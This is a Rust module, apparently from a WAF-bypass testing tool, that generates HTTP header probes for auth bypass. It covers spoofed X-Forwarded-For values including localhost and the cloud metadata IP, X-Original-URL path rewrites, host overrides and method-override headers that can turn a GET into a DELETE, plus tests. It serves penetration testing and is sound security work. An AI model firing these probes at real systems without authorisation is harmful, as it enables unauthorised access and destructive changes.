wafrift_encoding/auth_bypass.rs
1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//! WAF sees `GET /public` and lets it through; backend rewrites to
9//! `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//! allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//! `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//! method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. ProxyShell
22//! (CVE-2021-34473) and a long tail of Bugcrowd / HackerOne reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33 /// Header name to inject.
34 pub header: String,
35 /// Header value.
36 pub value: String,
37 /// Short label naming the bypass family (e.g. `x-original-url`,
38 /// `forwarded-for-localhost`, `method-override-put`). Useful for
39 /// gene-bank attribution.
40 pub label: &'static str,
41 /// Concise human description suitable for a finding report.
42 pub description: &'static str,
43}
44
45/// Generate the full set of routing / auth bypass probes for the given
46/// target. `target_path` is the protected resource the user is trying
47/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
48/// that don't take a path it is ignored.
49#[must_use]
50pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
51 let mut out = Vec::new();
52
53 // ── URL-rewrite header family ────────────────────────────────────
54 // IIS / ASP.NET / Apache mod_rewrite all honour these in various
55 // configs. The WAF doesn't, so it sees the harmless surface URL.
56 for header in [
57 "X-Original-URL",
58 "X-Rewrite-URL",
59 "X-Override-URL",
60 "X-HTTP-Destination",
61 "Original-URL",
62 "X-Forwarded-Path",
63 ] {
64 out.push(AuthBypassProbe {
65 header: header.to_string(),
66 value: target_path.to_string(),
67 label: "url-rewrite-header",
68 description: "WAF passes header through; backend rewrites URL to target",
69 });
70 }
71
72 // ── IP-trust header family ───────────────────────────────────────
73 // Many backends gate /admin or /internal on "is the source IP in
74 // the loopback / RFC1918 range?" — and read the header instead of
75 // the socket peer. Spoof the trusted IP.
76 let trusted_ips = [
77 "127.0.0.1",
78 "::1",
79 "localhost",
80 "10.0.0.1",
81 "192.168.0.1",
82 "172.16.0.1",
83 "169.254.169.254", // AWS metadata service host
84 ];
85 let ip_headers = [
86 "X-Forwarded-For",
87 "X-Real-IP",
88 "X-Originating-IP",
89 "X-Client-IP",
90 "X-Remote-IP",
91 "X-Remote-Addr",
92 "Forwarded", // RFC 7239 standard form
93 "True-Client-IP", // Akamai / Cloudflare Enterprise
94 "CF-Connecting-IP",
95 "Fastly-Client-IP",
96 "X-Cluster-Client-IP",
97 "Client-IP",
98 ];
99 for h in ip_headers {
100 for ip in trusted_ips {
101 let value = if h.eq_ignore_ascii_case("Forwarded") {
102 // RFC 7239 §4 + §6.3: node-name production requires
103 // IPv6 to be bracketed AND quoted (`for="[::1]"`).
104 // Bare hostnames like `localhost` are NOT valid as
105 // node-names — they must be obfnodes (`_internal`)
106 // or the backend (nginx realip, Apache mod_remoteip)
107 // rejects the value silently and the probe never
108 // reaches the auth path it's meant to test.
109 // Audit (2026-05-10).
110 if ip.contains(':') && !ip.starts_with('[') {
111 format!(r#"for="[{ip}]""#)
112 } else if ip.parse::<std::net::IpAddr>().is_err() {
113 // Non-IP token (e.g. "localhost"): rewrite as
114 // RFC-7239-valid obfnode.
115 let obf: String = ip
116 .chars()
117 .filter(|c| c.is_ascii_alphanumeric() || *c == '_')
118 .collect();
119 format!("for=_{obf}")
120 } else {
121 format!("for={ip}")
122 }
123 } else {
124 ip.to_string()
125 };
126 out.push(AuthBypassProbe {
127 header: h.to_string(),
128 value,
129 label: "ip-trust-spoof",
130 description: "Backend trusts header for IP-based authorization",
131 });
132 }
133 }
134
135 // ── Host-trust header family ─────────────────────────────────────
136 // Origin uses Host header for vhost routing or for "is this an
137 // internal call?". Override with an internal hostname.
138 for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
139 for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
140 out.push(AuthBypassProbe {
141 header: h.to_string(),
142 value: v.to_string(),
143 label: "host-trust-override",
144 description: "Origin uses header for vhost/internal-call routing",
145 });
146 }
147 }
148
149 // ── Method-override family ───────────────────────────────────────
150 // Backends accepting these turn a GET past the WAF into a PUT/
151 // DELETE/PATCH. Useful when the WAF only inspects state-changing
152 // methods.
153 for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
154 for h in [
155 "X-HTTP-Method-Override",
156 "X-HTTP-Method",
157 "X-Method-Override",
158 "_method", // Rails, Symfony default
159 ] {
160 out.push(AuthBypassProbe {
161 header: h.to_string(),
162 value: value.to_string(),
163 label: "method-override",
164 description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
165 });
166 }
167 }
168
169 // ── Scheme-trust family ──────────────────────────────────────────
170 // Some apps gate features on "did you come in over HTTPS?" by
171 // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
172 // forcing https here can flip a check.
173 for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
174 for v in ["http", "https"] {
175 out.push(AuthBypassProbe {
176 header: h.to_string(),
177 value: v.to_string(),
178 label: "scheme-trust",
179 description: "Origin uses header to decide HTTPS-only enforcement",
180 });
181 }
182 }
183
184 out
185}
186
187#[cfg(test)]
188mod tests {
189 use super::*;
190
191 #[test]
192 fn url_rewrite_family_targets_user_path() {
193 let probes = auth_bypass_probes("/admin/users");
194 let rewrite = probes
195 .iter()
196 .filter(|p| p.label == "url-rewrite-header")
197 .collect::<Vec<_>>();
198 assert!(rewrite.len() >= 6, "missing rewrite-header variants");
199 for p in rewrite {
200 assert_eq!(
201 p.value, "/admin/users",
202 "{} did not carry user path",
203 p.header
204 );
205 }
206 }
207
208 #[test]
209 fn x_original_url_present() {
210 let probes = auth_bypass_probes("/admin");
211 assert!(
212 probes
213 .iter()
214 .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
215 "missing canonical X-Original-URL probe"
216 );
217 }
218
219 #[test]
220 fn ip_trust_includes_loopback_and_metadata() {
221 let probes = auth_bypass_probes("/x");
222 let ip = probes
223 .iter()
224 .filter(|p| p.label == "ip-trust-spoof")
225 .collect::<Vec<_>>();
226 assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
227 assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
228 // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
229 assert!(
230 ip.iter()
231 .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
232 );
233 }
234
235 #[test]
236 fn method_override_offers_destructive_methods() {
237 let probes = auth_bypass_probes("/x");
238 let methods: Vec<&str> = probes
239 .iter()
240 .filter(|p| p.label == "method-override")
241 .map(|p| p.value.as_str())
242 .collect();
243 for m in ["PUT", "DELETE", "PATCH"] {
244 assert!(methods.contains(&m), "method {m} not in override probes");
245 }
246 }
247
248 #[test]
249 fn forwarded_host_includes_internal() {
250 let probes = auth_bypass_probes("/x");
251 assert!(
252 probes.iter().any(|p| p.header == "X-Forwarded-Host"
253 && (p.value == "localhost" || p.value == "internal"))
254 );
255 }
256
257 #[test]
258 fn no_probe_has_empty_header_or_value() {
259 for p in auth_bypass_probes("/x") {
260 assert!(!p.header.is_empty(), "empty header in probe");
261 assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
262 }
263 }
264
265 #[test]
266 fn probes_have_unique_header_value_pairs() {
267 let probes = auth_bypass_probes("/admin");
268 let mut seen = std::collections::HashSet::new();
269 for p in &probes {
270 let key = (p.header.to_lowercase(), p.value.clone());
271 assert!(
272 seen.insert(key.clone()),
273 "duplicate (header, value) pair: {key:?}"
274 );
275 }
276 }
277
278 #[test]
279 fn total_probe_count_locked() {
280 // Lock the count so a future edit doesn't silently drop a probe
281 // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
282 // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
283 // + Scheme-trust (3 × 2 = 6) = 136.
284 let probes = auth_bypass_probes("/x");
285 assert_eq!(probes.len(), 136, "auth_bypass_probes count drift");
286 }
287}